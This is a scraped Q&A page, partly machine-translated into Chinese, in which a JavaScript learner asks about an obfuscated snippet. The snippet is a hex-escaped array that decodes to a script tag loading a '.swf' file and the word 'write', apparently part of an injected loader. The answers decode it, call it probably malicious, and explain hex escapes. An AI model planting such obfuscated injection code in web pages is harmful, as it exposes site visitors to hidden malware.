简体   繁体   中英

I'm learning more of JavaScript and I want to have some idea about this code

I'm learning JavaScript , and I found this code:

<script>

var _0x98bd=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x6A\x73\x2F\x4E\x31\x39\x53\x38\x37\x4E\x39\x4E\x41\x39\x38\x37\x31\x58\x39\x38\x37\x5A\x5A\x58\x2E\x73\x77\x66\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];

</script>

Does anyone know what does it mean?

It produces this array:

["<script src="js/N19S87N9NA9871X987ZZX.swf"></script>", "write"] 

I have no idea what the author of the code is trying to do with it.

This just inits the variable _0x98bd with an array with only two string elements.

The String contains a script tag, which would load some flash file if inserted to the DOM. The second includes just "write".

This is probably code of a worm, which exploits some browser bugs. If you found this on any (productive) website, you should inform the owner of that website as this is probably malicious code!

The first element of the array is the following code:

<script src="js/N19S87N9NA9871X987ZZX.swf"></script>

The second element is:

write

这是混淆的javascript代码。参见Sample obfuscator

你说你正在学习JS,所以解释为什么你能在第22-24页的ECMA-262标准中找到它是什么http://www.ecma-international.org/publications/standards/Ecma-262 .htm因为数组的两个元素介于“所以它们是字符串文字。\\”被称为转义字符,\\ x必须后跟2个十六进制数字,意思是:“x HexDigit HexDigit是代码单位值的字符是(第一个HexDigit的MV的16倍)加上第二个HexDigit的MV“所以例如\\ x3C相当于'<'字符。

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM